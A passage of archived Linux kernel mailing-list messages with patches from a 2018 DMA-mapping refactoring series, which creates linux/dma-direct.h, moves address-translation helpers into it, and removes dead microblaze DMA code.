+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef ASM_X86_DMA_DIRECT_H
+#define ASM_X86_DMA_DIRECT_H 1
+
+#include <linux/mem_encrypt.h>
+
+#ifdef CONFIG_X86_DMA_REMAP /* Platform code defines bridge-specific code */
+bool dma_capable(struct device *dev, dma_addr_t addr, size_t size);
+dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
+phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
+#else
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	if (!dev->dma_mask)
+		return 0;
+
+	return addr + size - 1 <= *dev->dma_mask;
+}
+
+static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+{
+	return __sme_set(paddr);
+}
+
+static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
+{
+	return __sme_clr(daddr);
+}
+#endif /* CONFIG_X86_DMA_REMAP */
+#endif /* ASM_X86_DMA_DIRECT_H */
diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
index 0350d99bb8fd..dfdc9357a349 100644
--- a/arch/x86/include/asm/dma-mapping.h
+++ b/arch/x86/include/asm/dma-mapping.h
@@ -12,7 +12,6 @@
 #include <asm/io.h>
 #include <asm/swiotlb.h>
 #include <linux/dma-contiguous.h>
-#include <linux/mem_encrypt.h>
 
 #ifdef CONFIG_ISA
 # define ISA_DMA_BIT_MASK DMA_BIT_MASK(24)
@@ -42,31 +41,6 @@ extern void dma_generic_free_coherent(struct device *dev, size_t size,
 				      void *vaddr, dma_addr_t dma_addr,
 				      unsigned long attrs);
 
-#ifdef CONFIG_X86_DMA_REMAP /* Platform code defines bridge-specific code */
-extern bool dma_capable(struct device *dev, dma_addr_t addr, size_t size);
-extern dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
-extern phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
-#else
-
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return __sme_set(paddr);
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return __sme_clr(daddr);
-}
-#endif /* CONFIG_X86_DMA_REMAP */
-
 static inline unsigned long dma_alloc_coherent_mask(struct device *dev,
 						    gfp_t gfp)
 {
diff --git a/arch/x86/kernel/amd_gart_64.c b/arch/x86/kernel/amd_gart_64.c
index cc0e8bc0ea3f..ecd486cb06ab 100644
--- a/arch/x86/kernel/amd_gart_64.c
+++ b/arch/x86/kernel/amd_gart_64.c
@@ -31,6 +31,7 @@
 #include <linux/io.h>
 #include <linux/gfp.h>
 #include <linux/atomic.h>
+#include <linux/dma-direct.h>
 #include <asm/mtrr.h>
 #include <asm/pgtable.h>
 #include <asm/proto.h>
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index 599d7462eccc..8439e6de6156 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -1,5 +1,5 @@
 // SPDX-License-Identifier: GPL-2.0
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/dma-debug.h>
 #include <linux/dmar.h>
 #include <linux/export.h>
diff --git a/arch/x86/kernel/pci-nommu.c b/arch/x86/kernel/pci-nommu.c
index b0caae27e1b7..618285e475c6 100644
--- a/arch/x86/kernel/pci-nommu.c
+++ b/arch/x86/kernel/pci-nommu.c
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0
 /* Fallback functions when the main IOMMU code is not compiled in. This
    code is roughly equivalent to i386. */
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
 #include <linux/string.h>
 #include <linux/gfp.h>
diff --git a/arch/x86/kernel/pci-swiotlb.c b/arch/x86/kernel/pci-swiotlb.c
index 53bd05ea90d8..9d3e35c33d94 100644
--- a/arch/x86/kernel/pci-swiotlb.c
+++ b/arch/x86/kernel/pci-swiotlb.c
@@ -6,7 +6,7 @@
 #include <linux/init.h>
 #include <linux/swiotlb.h>
 #include <linux/bootmem.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/mem_encrypt.h>
 
 #include <asm/iommu.h>
diff --git a/arch/x86/mm/mem_encrypt.c b/arch/x86/mm/mem_encrypt.c
index 391b13402e40..09532c935da0 100644
--- a/arch/x86/mm/mem_encrypt.c
+++ b/arch/x86/mm/mem_encrypt.c
@@ -15,7 +15,7 @@
 #include <linux/linkage.h>
 #include <linux/init.h>
 #include <linux/mm.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/swiotlb.h>
 #include <linux/mem_encrypt.h>
 
diff --git a/arch/x86/pci/sta2x11-fixup.c b/arch/x86/pci/sta2x11-fixup.c
index 53d600217973..75577c1490c4 100644
--- a/arch/x86/pci/sta2x11-fixup.c
+++ b/arch/x86/pci/sta2x11-fixup.c
@@ -26,6 +26,7 @@
 #include <linux/pci_ids.h>
 #include <linux/export.h>
 #include <linux/list.h>
+#include <linux/dma-direct.h>
 #include <asm/iommu.h>
 
 #define STA2X11_SWIOTLB_SIZE (4*1024*1024)
diff --git a/arch/xtensa/include/asm/dma-mapping.h b/arch/xtensa/include/asm/dma-mapping.h
index 153bf2370988..44098800dad7 100644
--- a/arch/xtensa/include/asm/dma-mapping.h
+++ b/arch/xtensa/include/asm/dma-mapping.h
@@ -23,14 +23,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &xtensa_dma_map_ops;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return (dma_addr_t)paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return (phys_addr_t)daddr;
-}
-
 #endif	/* _XTENSA_DMA_MAPPING_H */
diff --git a/drivers/crypto/marvell/cesa.c b/drivers/crypto/marvell/cesa.c
index 293832488cc9..3a0c40081ffb 100644
--- a/drivers/crypto/marvell/cesa.c
+++ b/drivers/crypto/marvell/cesa.c
@@ -24,6 +24,7 @@
 #include <linux/scatterlist.h>
 #include <linux/slab.h>
 #include <linux/module.h>
+#include <linux/dma-direct.h> /* XXX: drivers shall never use this directly! */
 #include <linux/clk.h>
 #include <linux/of.h>
 #include <linux/of_platform.h>
diff --git a/drivers/mtd/nand/qcom_nandc.c b/drivers/mtd/nand/qcom_nandc.c
index 2656c1ac5646..411cdfd12a85 100644
--- a/drivers/mtd/nand/qcom_nandc.c
+++ b/drivers/mtd/nand/qcom_nandc.c
@@ -23,6 +23,7 @@
 #include <linux/of_device.h>
 #include <linux/delay.h>
 #include <linux/dma/qcom_bam_dma.h>
+#include <linux/dma-direct.h> /* XXX: drivers shall never use this directly! */
 
 /* NANDc reg offsets */
 #define	NAND_FLASH_CMD			0x00
diff --git a/drivers/xen/swiotlb-xen.c b/drivers/xen/swiotlb-xen.c
index 82fc54f8eb77..5bb72d3f8337 100644
--- a/drivers/xen/swiotlb-xen.c
+++ b/drivers/xen/swiotlb-xen.c
@@ -36,7 +36,7 @@
 #define pr_fmt(fmt) "xen:" KBUILD_MODNAME ": " fmt
 
 #include <linux/bootmem.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/export.h>
 #include <xen/swiotlb-xen.h>
 #include <xen/page.h>
diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
new file mode 100644
index 000000000000..2cc1b6558944
--- /dev/null
+++ b/include/linux/dma-direct.h
@@ -0,0 +1,32 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _LINUX_DMA_DIRECT_H
+#define _LINUX_DMA_DIRECT_H 1
+
+#include <linux/dma-mapping.h>
+
+#ifdef CONFIG_ARCH_HAS_PHYS_TO_DMA
+#include <asm/dma-direct.h>
+#else
+static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+{
+	dma_addr_t dev_addr = (dma_addr_t)paddr;
+
+	return dev_addr - ((dma_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
+}
+
+static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
+{
+	phys_addr_t paddr = (phys_addr_t)dev_addr;
+
+	return paddr + ((phys_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
+}
+
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	if (!dev->dma_mask)
+		return false;
+
+	return addr + size - 1 <= *dev->dma_mask;
+}
+#endif /* !CONFIG_ARCH_HAS_PHYS_TO_DMA */
+#endif /* _LINUX_DMA_DIRECT_H */
diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index cea19aaf303c..6583f3512386 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -18,7 +18,7 @@
  */
 
 #include <linux/cache.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/mm.h>
 #include <linux/export.h>
 #include <linux/spinlock.h>
-- 
2.14.2


From - Thu Nov 08 21:40:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 17/33] microblaze: remove the dead !NOT_COHERENT_CACHE dma code
Date: Wed, 10 Jan 2018 09:00:11 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20180110080027.13879-18-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571177 4555 195.159.176.226 (10 Jan 2018 07:59:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:37 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Wed Jan 10 08:59:31 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eZBIJ-0000mG-A4
	for lnx-sparclinux@m.gmane.org; Wed, 10 Jan 2018 08:59:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965402AbeAJIBd (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Wed, 10 Jan 2018 03:01:33 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:33795 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965361AbeAJIB1 (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Wed, 10 Jan 2018 03:01:27 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=01FVK7YGZS5IcvQMFYjkZ5jWZV0wHvfX7e4F1MK9uDQ=; b=f7cugZ1MUlqjBv6rqk5Ax+VDC
        ROXYcgjqTzI7ecaVljesZ+HN4Xk/qKTWdWu4vkZjQyizYngN4CaFwQ9tp0jFdHOrTbD13qMTg9/fF
        N3DATPel3ToKTfFeuYV/W3mE7B791XC8tAoDGY+zUcW9al2OD14b+H18z3X0U9Vd3MiJ98lYM/YCX
        N3vBnRYVzIKEo37kUtRxb9hbosZpO+L1d4iEa2AtlLTXWzjtUGShL6l5rZ0wtktWxvOCDVjpvR047
        /XQWSYL9VGte4WQusrLUMnDkIAtAuI8//nxA1ZygFX5uSEAx6JCFNItJ7OT2CEWbtUhrFGL8Rd2SX
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBK6-0004sa-4E; Wed, 10 Jan 2018 08:01:22 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27193 gmane.linux.kernel.iommu:22031 gmane.linux.ports.alpha:4685 gmane.linux.kernel.arc:3295 gmane.linux.ports.arm.kernel:625010 gmane.linux.ports.hexagon:1511 gmane.linux.ports.ia64:28510 gmane.linux.kernel.metag:1587 gmane.linux.ports.mips.general:63197 gmane.linux.ports.parisc:28186 gmane.linux.ports.ppc64.devel:151834 gmane.linux.ports.sh.devel:56242 gmane.linux.kernel.cross-arch:41255 gmane.linux.kernel:2662717
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27193>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/microblaze/kernel/dma.c | 28 ----------------------------
 1 file changed, 28 deletions(-)

diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index b45d8f8967af..c91e8cef98dd 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -15,42 +15,18 @@
 #include <linux/bug.h>
 #include <asm/cacheflush.h>
 
-#define NOT_COHERENT_CACHE
-
 static void *dma_nommu_alloc_coherent(struct device *dev, size_t size,
 				       dma_addr_t *dma_handle, gfp_t flag,
 				       unsigned long attrs)
 {
-#ifdef NOT_COHERENT_CACHE
 	return consistent_alloc(flag, size, dma_handle);
-#else
-	void *ret;
-	struct page *page;
-	int node = dev_to_node(dev);
-
-	/* ignore region specifiers */
-	flag  &= ~(__GFP_HIGHMEM);
-
-	page = alloc_pages_node(node, flag, get_order(size));
-	if (page == NULL)
-		return NULL;
-	ret = page_address(page);
-	memset(ret, 0, size);
-	*dma_handle = virt_to_phys(ret);
-
-	return ret;
-#endif
 }
 
 static void dma_nommu_free_coherent(struct device *dev, size_t size,
 				     void *vaddr, dma_addr_t dma_handle,
 				     unsigned long attrs)
 {
-#ifdef NOT_COHERENT_CACHE
 	consistent_free(size, vaddr);
-#else
-	free_pages((unsigned long)vaddr, get_order(size));
-#endif
 }
 
 static inline void __dma_sync(unsigned long paddr,
@@ -186,12 +162,8 @@ int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 	if (off >= count || user_count > (count - off))
 		return -ENXIO;
 
-#ifdef NOT_COHERENT_CACHE
 	vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
 	pfn = consistent_virt_to_pfn(cpu_addr);
-#else
-	pfn = virt_to_pfn(cpu_addr);
-#endif
 	return remap_pfn_range(vma, vma->vm_start, pfn + off,
 			       vma->vm_end - vma->vm_start, vma->vm_page_prot);
 #else
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 12/33] dma-mapping: move dma_mark_clean to dma-direct.h
Date: Wed, 10 Jan 2018 09:00:06 +0100
Lines: 128
Approved: news@gmane.org
Message-ID: <20180110080027.13879-13-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571182 5368 195.159.176.226 (10 Jan 2018 07:59:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:42 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 10 08:59:37 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eZBIB-0000Ne-D6
	for glpp-linux-parisc@m.gmane.org; Wed, 10 Jan 2018 08:59:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965330AbeAJIBZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 10 Jan 2018 03:01:25 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:56175 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965260AbeAJIBO (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 10 Jan 2018 03:01:14 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=tzFVDkvEhJ6GFKEEmSa4/0NCd//iDA91jkWmMtMH0ps=; b=NJoApJmrw7hVQ3oaqBEYxVIGC
        LCDKlT947X6EU2KU9KU+QL3dMIySfS7oKF47ENUmUR8bksULPwPgYzSY86KLOc4d9gfjMWTxAxtxB
        7vpi7B3xjf/n93zboLYJEuS7Zu5WgA1DyUx8QN7fYbTLBVQEHG9NLJdrVZbUix3BKt3YikQVdl70g
        8/Guqy4tgrw+s88En7JCWuCf8tbCEwTGMikVXWuUFbl9HgyOVvm8En2iXUYbKQwgJMS4XvgGZZWr4
        4GvoW+S0Gxr9i2Pzn+no8IySgcvSPy8SiPHKhRamBLgvCEYaRoExEUJULGniapk1ZNcOO1KYGx5C8
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBJr-0004Xq-35; Wed, 10 Jan 2018 08:01:07 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28187 gmane.linux.kernel.iommu:22032 gmane.linux.ports.alpha:4686 gmane.linux.kernel.arc:3296 gmane.linux.ports.arm.kernel:625011 gmane.linux.ports.hexagon:1512 gmane.linux.ports.ia64:28511 gmane.linux.kernel.metag:1588 gmane.linux.ports.mips.general:63198 gmane.linux.ports.ppc64.devel:151835 gmane.linux.ports.sh.devel:56243 gmane.linux.ports.sparc:27194 gmane.linux.kernel.cross-arch:41256 gmane.linux.kernel:2662718
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28187>

And unlike the other helpers we don't require a <asm/dma-direct.h> as
this helper is a special case for ia64 only, and this keeps it as
simple as possible.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/arm/include/asm/dma-mapping.h       | 2 --
 arch/arm64/include/asm/dma-mapping.h     | 4 ----
 arch/ia64/Kconfig                        | 1 +
 arch/ia64/include/asm/dma.h              | 2 --
 arch/mips/include/asm/dma-mapping.h      | 2 --
 arch/powerpc/include/asm/swiotlb.h       | 2 --
 arch/tile/include/asm/dma-mapping.h      | 2 --
 arch/unicore32/include/asm/dma-mapping.h | 2 --
 arch/x86/include/asm/swiotlb.h           | 2 --
 include/linux/dma-direct.h               | 9 +++++++++
 10 files changed, 10 insertions(+), 18 deletions(-)

diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
index 5fb1b7fbdfbe..e5d9020c9ee1 100644
--- a/arch/arm/include/asm/dma-mapping.h
+++ b/arch/arm/include/asm/dma-mapping.h
@@ -109,8 +109,6 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size) { }
-
 /**
  * arm_dma_alloc - allocate consistent memory for DMA
  * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
index 400fa67d3b5a..b7847eb8a7bb 100644
--- a/arch/arm64/include/asm/dma-mapping.h
+++ b/arch/arm64/include/asm/dma-mapping.h
@@ -50,9 +50,5 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size)
-{
-}
-
 #endif	/* __KERNEL__ */
 #endif	/* __ASM_DMA_MAPPING_H */
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 49583c5a5d44..4d18fca885ee 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -33,6 +33,7 @@ config IA64
 	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_VIRT_CPU_ACCOUNTING
+	select ARCH_HAS_DMA_MARK_CLEAN
 	select ARCH_HAS_SG_CHAIN
 	select VIRT_TO_BUS
 	select ARCH_DISCARD_MEMBLOCK
diff --git a/arch/ia64/include/asm/dma.h b/arch/ia64/include/asm/dma.h
index 186850eec934..23604d6a2cb2 100644
--- a/arch/ia64/include/asm/dma.h
+++ b/arch/ia64/include/asm/dma.h
@@ -20,6 +20,4 @@ extern unsigned long MAX_DMA_ADDRESS;
 
 #define free_dma(x)
 
-void dma_mark_clean(void *addr, size_t size);
-
 #endif /* _ASM_IA64_DMA_H */
diff --git a/arch/mips/include/asm/dma-mapping.h b/arch/mips/include/asm/dma-mapping.h
index 676c14cfc580..886e75a383f2 100644
--- a/arch/mips/include/asm/dma-mapping.h
+++ b/arch/mips/include/asm/dma-mapping.h
@@ -17,8 +17,6 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return mips_dma_map_ops;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 #define arch_setup_dma_ops arch_setup_dma_ops
 static inline void arch_setup_dma_ops(struct device *dev, u64 dma_base,
 				      u64 size, const struct iommu_ops *iommu,
diff --git a/arch/powerpc/include/asm/swiotlb.h b/arch/powerpc/include/asm/swiotlb.h
index 01d45a5fd00b..9341ee804d19 100644
--- a/arch/powerpc/include/asm/swiotlb.h
+++ b/arch/powerpc/include/asm/swiotlb.h
@@ -15,8 +15,6 @@
 
 extern const struct dma_map_ops swiotlb_dma_ops;
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 extern unsigned int ppc_swiotlb_enable;
 int __init swiotlb_setup_bus_notifier(void);
 
diff --git a/arch/tile/include/asm/dma-mapping.h b/arch/tile/include/asm/dma-mapping.h
index 75b8aaa4e70b..d25fce101fc0 100644
--- a/arch/tile/include/asm/dma-mapping.h
+++ b/arch/tile/include/asm/dma-mapping.h
@@ -44,8 +44,6 @@ static inline void set_dma_offset(struct device *dev, dma_addr_t off)
 	dev->archdata.dma_offset = off;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 #define HAVE_ARCH_DMA_SET_MASK 1
 int dma_set_mask(struct device *dev, u64 mask);
 
diff --git a/arch/unicore32/include/asm/dma-mapping.h b/arch/unicore32/include/asm/dma-mapping.h
index 5cb250bf2d8c..f2bfec273aa7 100644
--- a/arch/unicore32/include/asm/dma-mapping.h
+++ b/arch/unicore32/include/asm/dma-mapping.h
@@ -25,7 +25,5 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &swiotlb_dma_map_ops;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 #endif /* __KERNEL__ */
 #endif
diff --git a/arch/x86/include/asm/swiotlb.h b/arch/x86/include/asm/swiotlb.h
index bdf9aed40403..1c6a6cb230ff 100644
--- a/arch/x86/include/asm/swiotlb.h
+++ b/arch/x86/include/asm/swiotlb.h
@@ -28,8 +28,6 @@ static inline void pci_swiotlb_late_init(void)
 }
 #endif
 
-static inline void dma_mark_clean(void *addr, size_t size) {}

From - Thu Nov 08 21:40:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 13/33] hexagon: use the generic dma_capable helper
Date: Wed, 10 Jan 2018 09:00:07 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20180110080027.13879-14-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571184 5675 195.159.176.226 (10 Jan 2018 07:59:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:44 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Wed Jan 10 08:59:38 2018
